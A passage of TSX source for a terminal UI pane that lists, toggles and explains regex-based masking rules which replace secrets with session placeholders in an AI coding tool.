960 <Box key={`rule-${i}`} flexDirection="column">
961 {/* a named rule gets its name on its own line and the regex dimmed below it:
962 on one line, a long regex buried the name */}
963 <Box gap={1}>
964 <Box flexShrink={1}>{pattern(` ${i + 1}. ${name ?? src}`)}{label(r)}{skip(f)}</Box>
965 <Box flexShrink={0}><Button key={`turn-${i}`} label={enabled ? 'turn off' : 'turn on'} plain onPress={async () => redraw(await turn($, kept, `${i + 1}`, !enabled))}><Text color={enabled && !f ? 'green' : undefined} dimColor={!enabled || !!f}>{enabled ? '● on' : '○ off'}</Text></Button></Box>
966 <Box flexShrink={0}><Button key={`remove-${i}`} label="remove" plain onPress={async () => redraw(await remove($, kept, `${i + 1}`))}><Text color="red">✗</Text></Button></Box>
967 </Box>
968 {name && <Text dimColor wrap="truncate-middle">{` ${src}`}</Text>}
969 </Box>
970 )
971 })}
972 </Box>
973 <Box flexDirection="column">
974 {section('sec-env', 'Env files', kept.envOn === false ? 'off' : 'on')}
975 <Box gap={1}>
976 <Box flexShrink={1}><Text dimColor> secret-shaped values of .env, .envrc, .dev.vars and the like where a session starts, read again when they change</Text></Box>
977 <Box flexShrink={0}><Button key="env" label={kept.envOn === false ? 'turn on' : 'turn off'} plain onPress={async () => redraw(await envTurn($, kept, kept.envOn === false))}><Text color={kept.envOn === false ? undefined : 'green'} dimColor={kept.envOn === false}>{kept.envOn === false ? '○ off' : '● on'}</Text></Button></Box>
978 </Box>
979 </Box>
980 <Box flexDirection="column">
981 {section('sec-settings', 'From settings', settings.length ? `${settings.length} set` : 'none')}
982 <Text dimColor> the patterns option in settings.json, always on</Text>
983 {settings.length === 0 && <Text dimColor> none</Text>}
984 {settings.map((src, i) => <Box key={`set-${i}`}>{pattern(` ${src}`)}{lineFault(src) ? null : label(read(src))}{skip(lineFault(src))}</Box>)}
985 </Box>
986 </Box>
987 )}
988 {tab === 'help' && (
989 <Box flexDirection="column" gap={1}>
990 <Box flexDirection="column">
991 {section('sec-format', 'Rule format', FILE)}
992 <Text dimColor>{' pattern a JavaScript regex; each match is masked whole'}</Text>
993 <Text dimColor>{' replacement the placeholder\'s label, capitals, digits and _: API_KEY masks as API_KEY_n'}</Text>
994 <Text dimColor>{' enabled false turns a rule off; the two examples start off'}</Text>
995 <Text dimColor>{' name what the pane and the vault call it'}</Text>
996 <Text dimColor>{' options ignoreCase, strong, prose: true; min: N'}</Text>
997 <Text dimColor>{' (?<v>...) masks only group v (or v2), keeping prefix and suffix around it'}</Text>
998 <Text dimColor>{' /redact add LABEL [i min=N strong prose]: regex, or a bare regex as SECRET'}</Text>
999 </Box>
1000 <Box flexDirection="column">
1001 {section('sec-escape', 'Placeholders & escaping')}
1002 <Text dimColor>{' once matched a value keeps its placeholder all session and masks as a whole word'}</Text>
1003 <Text dimColor>{' env files a session starts with the secret-shaped values of the env files where it starts; /redact env off'}</Text>
1004 <Text dimColor>{' unknown a placeholder not in this session\'s vault refuses the tool call'}</Text>
1005 <Text dimColor>{` ${ESC}LABEL_n⟧ ! after ${OPEN} writes the literal placeholder without restoring it`}</Text>
1006 </Box>
1007 <Box flexDirection="column">
1008 {section('sec-restore', 'Where real values go')}
1009 <Text dimColor>{' tools every tool call (Bash, Edit, WebFetch, WebSearch, MCP) gets real values'}</Text>
1010 <Text dimColor>{' surfaces only the terminal draws real values; desktop, VS Code and mobile keep placeholders'}</Text>
1011 </Box>
1012 </Box>
1013 )}
1014 </Box>
1015 )
1016 })
1017}
1018